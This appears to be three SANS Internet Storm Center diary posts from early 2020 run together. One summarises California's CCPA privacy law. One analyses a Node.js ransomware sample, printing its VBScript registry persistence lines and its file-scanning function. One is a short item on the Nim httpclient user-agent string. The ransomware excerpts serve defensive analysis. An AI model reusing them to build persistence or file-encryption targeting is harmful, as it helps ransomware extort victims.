It's been quiet lately.  Hopefully, it is not a calm before a storm if you will.  I crawled out from under my rock and found that the State of California law that offers new consumer protection went into effect Jan 1, 2020.   So I poked around the Interwebs to learn about what to expect.  For what it's worth, I am not a resident of California so I am not particularly entitled to these new protections today.  I do think it is a sign of what is coming.   Europe implemented the General Data Protection Regulation a couple of years ago.  There are more states adopting more consumer protections each year.  Let's hope they have enough teeth to have an impact.  I took some time to read through the law [1] to highlight it for you.  Please note, I am not an attorney or even have interest in being one.  Let's take a look.

 The CCPA - California Consumer Privacy Act [1] was passed in June 2018 and went into effect January 01, 2020.   Some report that the Attorney General office will begin enforcement on July 01, 2020.   The law itself [1] does not cite any enforcement date.  Some companies have released statements they are adopting this for all customers, not just those in the State of California.   FWIW, I have seen some sites recently, even prior to the first of the year that are now offering conspicuous opt out links.

The CCPA..

• Grants consumer a right to request…
  • specific pieces of information that it collects.
  • categories of sources from which that information is collected.
  • the business purposes for collecting or selling the information.
  • the categories of 3rd parties with which information is shared.
  • deletion of personal information…upon receipt of a verified request.
  • the business to not sell personal information (opt out)
• Authorizes businesses to offer financial incentives for collection of personal info. (They must opt in)
• Prohibits businesses to sell information of a consumer under 16 years of age without an opt in.
• Businesses are not required to provide information more than twice in a 12 month period.
• Businesses must provide a clear and conspicuous link on the Internet home page titled "Do Not Sell My Personal Information"…
• Consumers "opt out" is good for 12 months before the business may request to authorize the sale of information.

If you think there are any other points to highlight that I did not mention, then please comment below to add to the discussion.

-Kevin

--
ISC Handler on Duty

[1] https://leginfo.legislature.ca.gov/faces/billTextClient.xhtml?bill_id=201720180AB375

Happy new year to all! I hope that you enjoyed the switch to 2020! From a security point of view, nothing changed and malicious code never stops trying to abuse our resources even during the holiday season. Here is a sample that I spotted two days ago. It’s an interesting one because it’s a malware that implements ransomware features developed in Node.js[1]! The stage one is not obfuscated and I suspect the script to be a prototype or a test… It has been submitted to VT from Bahrein (SHA256:90acae3f682f01864e49c756bc9d46f153fcc4a7e703fd1723a8aa7ec01b378c) and has currently a score of 12/58[2].

The first stage is a VBScript that decodes the ransomware, setup persistence and deploys a local Node.js instance running the generated files in %USERPROFILE%\AppData\Local:

\GFp0JAk\lLT8PCI.js
\GFp0JAk\node_modules\graceful-fs\fs.js
\GFp0JAk\node_modules\graceful-fs\package.json
\GFp0JAk\node_modules\graceful-fs\graceful-fs.js
\GFp0JAk\node_modules\graceful-fs\legacy-streams.js
\GFp0JAk\node_modules\graceful-fs\polyfills.js

Node.js is downloaded from hxxps://nodejs[.]org/download/release/latest-v8.x/win-x86/node.exe and saved as %USERPROFILE%\AppData\Local\GFp0JAk\GFp0JAk.exe

Persistence is added via Registry keys:

oShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Office", "wscript " & strVbs,"REG_SZ"
oShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Startup",  strExe & " " & outWorkingDir & "\" & strEntPoint & " decryptStatic","REG_SZ"
oShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows", "cmd /c start  /min " & outWorkingDir & "\How-to-buy-bitcoins.html","REG_SZ"

The script main loop performs the following tasks every 40 seconds:

1. Checks if node.exe has been successfully downloaded and, if not, it downloads and dumps it to the disk
2. Dumps the Node.js module and files to disk (see the list above)
3. Deploys the Node.js code.

Once done, an “initdone” file is created and the desktop layout reset (icons & positions) by deleting the registry key:

HKCU\Software\Microsoft\Windows\Shell\Bags\1\Desktop

Now, let’s have a look at the Node.js code, the ransomware itself.

This code is obfuscated but easy to process with a Javascript beautifier. Here is some interesting extracted information:

Ransom price: 0.4 BTC
Bitcoin wallet: 18aBKwKJvMCkZmpkcCbW9b9y9snAmU3kgo[3]

Encryption is performed via a public/private key pair.

Files to encrypt are scanned via this function:

scan = function() {
    var b = [];
    b.push(userprofile + ""\\
        Desktop "");
    b.push(userprofile + ""\\
        Documents "");
    b.push(userprofile + ""\\
        Downloads "");
    b.push(userprofile + ""\\
        Contacts "");
    b.push(userprofile + ""\\
        Pictures "");
    b.push(userprofile + ""\\
        Music "");
    b.push(userprofile + ""\\
        Videos "");
    b.push(userprofile + ""\\
        AppData\\ Local\\ Microsoft\\ Outlook "");
    for (var a = 0; 25 > a; a++) {
        var c = String.fromCharCode(66 + a) + "": "",
            d = c + ""\\
        "" + testFile;
        if (fs.existsSync(c)) try {
            fs.writeFileSync(d, ""
                "", ""
                utf - 8 ""), b.push(c), removeFile(d)
        } catch (e) {}
    }
    return b
};

The ransomware notification is also generated on the fly:

I did not find a contact email address for the victims and the encrypted file extension is empty in the code. If you have more information about this sample, please share it!

[1] https://nodejs.org/en/
[2] https://www.virustotal.com/gui/file/90acae3f682f01864e49c756bc9d46f153fcc4a7e703fd1723a8aa7ec01b378c/detection
[3] https://www.blockchain.com/btc/address/18aBKwKJvMCkZmpkcCbW9b9y9snAmU3kgo

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

"Nim httpclient/1.0.4" is the default User Agent string of the httpClient module of the Nim programming language (stable release).

Nim is a programming language that is compiled to C, C++ or Objective-C and then compiled to machine language using an appropriate C compiler. This makes that Nim programs can run on all major operating systems.

Nim programs can also be compiled to JavaScript.

Discovering something like a new programming language, is an opportunity for me to explore without set goals. This year, I'll start exploring the Nim language, just for the sake of exploring.

I wish you too will have an opporunity and time to explorer something new this year, just for the sake of it.

Best wishes for the new year to you and your family from all of us at the SANS Internet Storm Center!

Didier Stevens

Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com